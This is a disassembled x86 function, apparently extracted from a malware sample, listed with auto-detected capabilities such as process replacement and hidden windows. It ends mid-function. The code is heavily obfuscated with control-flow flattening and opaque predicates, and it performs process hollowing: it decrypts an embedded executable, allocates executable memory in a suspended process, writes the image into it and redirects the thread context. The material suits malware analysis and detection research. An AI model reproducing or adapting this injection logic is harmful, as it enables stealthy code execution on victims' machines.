Function at 0x10002730
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x134
mov eax, dword [0x1006e600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x13c], 0x503deff8
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x140], eax
sub eax, 0x8323e0ce
je 0x100039fe
jmp 0x1000276c
mov eax, dword [ebp - 0x140]
sub eax, 0x85128277
je 0x1000489c
jmp 0x10002782
mov eax, dword [ebp - 0x140]
sub eax, 0x8d52c54d
je 0x10004351
jmp 0x10002798
mov eax, dword [ebp - 0x140]
sub eax, 0x8ddc520d
je 0x10004d12
jmp 0x100027ae
mov eax, dword [ebp - 0x140]
sub eax, 0x8ea303bd
je 0x10004bba
jmp 0x100027c4
mov eax, dword [ebp - 0x140]
sub eax, 0x9277d44c
je 0x100037cc
jmp 0x100027da
mov eax, dword [ebp - 0x140]
sub eax, 0x928207a9
je 0x10004be1
jmp 0x100027f0
mov eax, dword [ebp - 0x140]
sub eax, 0x94411d1f
je 0x100038ce
jmp 0x10002806
mov eax, dword [ebp - 0x140]
sub eax, 0x9fb43b7b
je 0x1000383f
jmp 0x1000281c
mov eax, dword [ebp - 0x140]
sub eax, 0xa229d6f2
je 0x100034fb
jmp 0x10002832
mov eax, dword [ebp - 0x140]
sub eax, 0xa5d2b429
je 0x100045f4
jmp 0x10002848
mov eax, dword [ebp - 0x140]
sub eax, 0xa7575b1b
je 0x10004d21
jmp 0x1000285e
mov eax, dword [ebp - 0x140]
sub eax, 0xa8c9ce30
je 0x10003453
jmp 0x10002874
mov eax, dword [ebp - 0x140]
sub eax, 0xa9054777
je 0x10003783
jmp 0x1000288a
mov eax, dword [ebp - 0x140]
sub eax, 0xab14995f
je 0x100033b2
jmp 0x100028a0
mov eax, dword [ebp - 0x140]
sub eax, 0xaee845d5
je 0x1000325b
jmp 0x100028b6
mov eax, dword [ebp - 0x140]
sub eax, 0xb0b847cd
je 0x100032ce
jmp 0x100028cc
mov eax, dword [ebp - 0x140]
sub eax, 0xb1a3ffa3
je 0x10003f50
jmp 0x100028e2
mov eax, dword [ebp - 0x140]
sub eax, 0xb2aea366
je 0x10003b5b
jmp 0x100028f8
mov eax, dword [ebp - 0x140]
sub eax, 0xb35db56d
je 0x10003ddd
jmp 0x1000290e
mov eax, dword [ebp - 0x140]
sub eax, 0xb67b6ec2
je 0x100032dd
jmp 0x10002924
mov eax, dword [ebp - 0x140]
sub eax, 0xb8bdf095
je 0x10004d45
jmp 0x1000293a
mov eax, dword [ebp - 0x140]
sub eax, 0xbbdd5389
je 0x10004af0
jmp 0x10002950
mov eax, dword [ebp - 0x140]
sub eax, 0xbd1e7f6d
je 0x10004bf6
jmp 0x10002966
mov eax, dword [ebp - 0x140]
sub eax, 0xc38acd12
je 0x10004098
jmp 0x1000297c
mov eax, dword [ebp - 0x140]
sub eax, 0xc3cd8c66
je 0x10003aec
jmp 0x10002992
mov eax, dword [ebp - 0x140]
sub eax, 0xc476c5a7
je 0x10004080
jmp 0x100029a8
mov eax, dword [ebp - 0x140]
sub eax, 0xc5cbb5cd
je 0x100048b6
jmp 0x100029be
mov eax, dword [ebp - 0x140]
sub eax, 0xc68b2064
je 0x100048e1
jmp 0x100029d4
mov eax, dword [ebp - 0x140]
sub eax, 0xcb5a02f8
je 0x1000488d
jmp 0x100029ea
mov eax, dword [ebp - 0x140]
sub eax, 0xcd0e7d7f
je 0x1000426a
jmp 0x10002a00
mov eax, dword [ebp - 0x140]
sub eax, 0xcdf21a52
je 0x10004966
jmp 0x10002a16
mov eax, dword [ebp - 0x140]
sub eax, 0xce9efe1b
je 0x10004342
jmp 0x10002a2c
mov eax, dword [ebp - 0x140]
sub eax, 0xd1bf53e7
je 0x10003682
jmp 0x10002a42
mov eax, dword [ebp - 0x140]
sub eax, 0xd24e0384
je 0x10004ba8
jmp 0x10002a58
mov eax, dword [ebp - 0x140]
sub eax, 0xd3a9a9cf
je 0x10004a96
jmp 0x10002a6e
mov eax, dword [ebp - 0x140]
sub eax, 0xd6679042
je 0x10004c85
jmp 0x10002a84
mov eax, dword [ebp - 0x140]
sub eax, 0xdc43383d
je 0x1000485f
jmp 0x10002a9a
mov eax, dword [ebp - 0x140]
sub eax, 0xe5e1ed09
je 0x10004429
jmp 0x10002ab0
mov eax, dword [ebp - 0x140]
sub eax, 0xe608e0ed
je 0x10003add
jmp 0x10002ac6
mov eax, dword [ebp - 0x140]
sub eax, 0xe6510e28
je 0x10003d5a
jmp 0x10002adc
mov eax, dword [ebp - 0x140]
sub eax, 0xe66c25be
je 0x10003fa8
jmp 0x10002af2
mov eax, dword [ebp - 0x140]
sub eax, 0xe972aea3
je 0x10003ecb
jmp 0x10002b08
mov eax, dword [ebp - 0x140]
sub eax, 0xf08e01e7
je 0x1000320a
jmp 0x10002b1e
mov eax, dword [ebp - 0x140]
sub eax, 0xf1d6e841
je 0x10003c53
jmp 0x10002b34
mov eax, dword [ebp - 0x140]
sub eax, 0xf2d818bd
je 0x10003617
jmp 0x10002b4a
mov eax, dword [ebp - 0x140]
sub eax, 0xf3eab3c0
je 0x10003d90
jmp 0x10002b60
mov eax, dword [ebp - 0x140]
sub eax, 0xf4854001
je 0x10004b99
jmp 0x10002b76
mov eax, dword [ebp - 0x140]
sub eax, 0xf5eed470
je 0x10003691
jmp 0x10002b8c
mov eax, dword [ebp - 0x140]
sub eax, 0xf9e4ee02
je 0x10003f76
jmp 0x10002ba2
mov eax, dword [ebp - 0x140]
sub eax, 0xfab5c1b7
je 0x100041e5
jmp 0x10002bb8
mov eax, dword [ebp - 0x140]
sub eax, 0xfc4209ae
je 0x10004d03
jmp 0x10002bce
mov eax, dword [ebp - 0x140]
sub eax, 0xfcb93fb5
je 0x100039ac
jmp 0x10002be4
mov eax, dword [ebp - 0x140]
sub eax, 0xff627c65
je 0x10003860
jmp 0x10002bfa
mov eax, dword [ebp - 0x140]
sub eax, 0x304690f
je 0x10004402
jmp 0x10002c10
mov eax, dword [ebp - 0x140]
sub eax, 0x363b623
je 0x1000467d
jmp 0x10002c26
mov eax, dword [ebp - 0x140]
sub eax, 0x4356d07
je 0x10004d36
jmp 0x10002c3c
mov eax, dword [ebp - 0x140]
sub eax, 0x5752d65
je 0x1000456e
jmp 0x10002c52
mov eax, dword [ebp - 0x140]
sub eax, 0x693fc75
je 0x10004a87
jmp 0x10002c68
mov eax, dword [ebp - 0x140]
sub eax, 0xa77025f
je 0x10004791
jmp 0x10002c7e
mov eax, dword [ebp - 0x140]
sub eax, 0xd4ddaec
je 0x1000312d
jmp 0x10002c94
mov eax, dword [ebp - 0x140]
sub eax, 0xe5c030c
je 0x10003ff1
jmp 0x10002caa
mov eax, dword [ebp - 0x140]
sub eax, 0x10683862
je 0x10003f85
jmp 0x10002cc0
mov eax, dword [ebp - 0x140]
sub eax, 0x13da3949
je 0x100034ec
jmp 0x10002cd6
mov eax, dword [ebp - 0x140]
sub eax, 0x13f8eac2
je 0x10003d26
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x55600
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
movzx edx, word [eax]
mov eax, 0xd24e0384
mov ecx, 0xf08e01e7
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [0x1006f938]
mov ecx, dword [0x1006f934]
mov edx, eax
add edx, 0xee39f0ea
sub edx, 1
sub edx, 0xee39f0ea
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ea303bd
mov ecx, 0xaee845d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx + 0x3c]
add eax, 0x7db8d65d
add eax, ecx
sub eax, 0x7db8d65d
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0xec], eax
mov eax, dword [0x1006f938]
mov ecx, dword [0x1006f934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ea303bd
mov ecx, 0xb0b847cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0xb67b6ec2
jmp 0x10004e9d
mov ecx, dword [0x1006f938]
mov eax, dword [0x1006f934]
mov edx, ecx
add edx, 0x40b0f20f
sub edx, 1
sub edx, 0x40b0f20f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x928207a9
mov ecx, 0x51b205dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0x5d0c8d2c
jmp 0x10004e9d
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005f60
add esp, 0xc
mov ecx, dword [0x1006f938]
mov eax, dword [0x1006f934]
mov edx, ecx
sub edx, 0xae67226f
sub edx, 1
add edx, 0xae67226f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbd1e7f6d
mov ecx, 0x13da3949
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0xa229d6f2
jmp 0x10004e9d
mov ecx, dword [0x1006f938]
mov eax, dword [0x1006f934]
mov edx, ecx
add edx, 0xff249ebe
sub edx, 1
sub edx, 0xff249ebe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7c320366
mov ecx, 0x5c4189f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0x4b8dc673
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0xf5eed470
jmp 0x10004e9d
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x13c], 0x2b6cb258
jmp 0x10004e9d
mov eax, dword [0x1006f938]
mov ecx, dword [0x1006f934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x168ed581
mov ecx, 0x9277d44c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xd8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xd1], al
mov eax, dword [0x1006f938]
mov ecx, dword [0x1006f934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x168ed581
mov ecx, 0x9fb43b7b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov dl, byte [ebp - 0xd1]
mov eax, 0x2cad0f45
mov ecx, 0xff627c65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov ecx, dword [0x1006f938]
mov eax, dword [0x1006f934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd6679042
mov ecx, 0x94411d1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.10002330
add esp, 4
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x11c]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xcc], eax
mov eax, dword [0x1006f938]
mov ecx, dword [0x1006f934]
mov edx, eax
add edx, 0xcd71b78d
sub edx, 1
sub edx, 0xcd71b78d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd6679042
mov ecx, 0x779a09f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xd0]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov eax, 0x217dc4c1
mov ecx, 0x8323e0ce
cmp dword [ebp - 0x6c], 0
cmove eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov ecx, dword [0x1006f938]
mov eax, dword [0x1006f934]
mov edx, ecx
add edx, 0x1f268e74
sub edx, 1
sub edx, 0x1f268e74
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x716cf5a9
mov ecx, 0x3f2bfeee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0xc3cd8c66
jmp 0x10004e9d
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x13c], 0x217dc4c1
jmp 0x10004e9d
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x124]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x12c]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x12c]
add ecx, 0x6345f5f8
add ecx, 0x18
sub ecx, 0x6345f5f8
mov eax, dword [ebp - 0x12c]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov dword [ebp - 0x13c], 0x76233ae0
jmp 0x10004e9d
mov dl, byte [ebp - 0xb5]
mov eax, 0x10683862
mov ecx, 0x5fd1520b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x13c], 0xf3eab3c0
jmp 0x10004e9d
mov eax, dword [ebp - 0xa4]
mov esi, dword [eax + 0xc]
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
add esi, 0x596e16cf
add esi, eax
sub esi, 0x596e16cf
mov edx, dword [ebp - 0xa8]
mov eax, 0x72f952d9
mov ecx, 0xb35db56d
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x108]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x13c], 0x679f7bb6
jmp 0x10004e9d
mov ecx, dword [0x1006f938]
mov eax, dword [0x1006f934]
mov edx, ecx
add edx, 0xf7da7b49
sub edx, 1
sub edx, 0xf7da7b49
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfc4209ae
mov ecx, 0x2e0914a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov dword [ebp - 0x13c], 0xf9e4ee02
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0x76233ae0
jmp 0x10004e9d
mov eax, dword [ebp - 0x120]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x8d], al
mov dword [ebp - 0x13c], 0xe66c25be
jmp 0x10004e9d
mov eax, dword [0x1006f938]
mov ecx, dword [0x1006f934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ddc520d
mov ecx, 0xe5c030c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov ecx, dword [0x1006f938]
mov eax, dword [0x1006f934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8ddc520d
mov ecx, 0x471b96d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x13c], 0xc38acd12
jmp 0x10004e9d
mov eax, dword [0x1006f938]
mov ecx, dword [0x1006f934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa7575b1b
mov ecx, 0x4a481413
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov ecx, dword [0x1006f938]
mov eax, dword [0x1006f934]
mov edx, ecx
add edx, 0xbfe06a6c
sub edx, 1
sub edx, 0xbfe06a6c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4356d07
mov ecx, 0x1de16041
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov ecx, dword [0x1006f938]
mov eax, dword [0x1006f934]
mov edx, ecx
sub edx, 0xb7bdbf45
sub edx, 1
add edx, 0xb7bdbf45
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb8bdf095
mov ecx, 0x15ccd81a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0x8d52c54d
jmp 0x10004e9d
mov edx, dword [ebp - 0x84]
mov eax, 0xc68b2064
mov ecx, 0x4760ff6c
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x7d], al
mov dword [ebp - 0x13c], 0xe5e1ed09
jmp 0x10004e9d
mov dl, byte [ebp - 0x7d]
mov eax, 0x85128277
mov ecx, 0x3924174e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov dl, byte [ebp - 0x71]
mov eax, 0xa77025f
mov ecx, 0x6e509105
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x560bdbfe
mov ecx, 0x67dc62e4
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov ecx, dword [0x1006f938]
mov eax, dword [0x1006f934]
mov edx, ecx
add edx, 0xdb96a54a
sub edx, 1
sub edx, 0xdb96a54a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5b441301
mov ecx, 0x3e9e7f16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [0x1006f938]
mov ecx, dword [0x1006f934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2c55860c
mov ecx, 0x3d1e224b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
sub ecx, 0xee524953
add ecx, 1
add ecx, 0xee524953
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov dword [ebp - 0x13c], 0xcb5a02f8
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0x304690f
jmp 0x10004e9d
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x13c], 0xc5cbb5cd
jmp 0x10004e9d
mov ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov edx, dword [eax + 4]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x13c], 0xcd0e7d7f
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0x468d3f25
jmp 0x10004e9d
mov eax, dword [ebp - 0x12c]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx + 0xa4]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 8
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x138]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x28]
sub ecx, 0xd8335b69
add ecx, eax
add ecx, 0xd8335b69
mov eax, dword [ebp - 0x128]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x20]
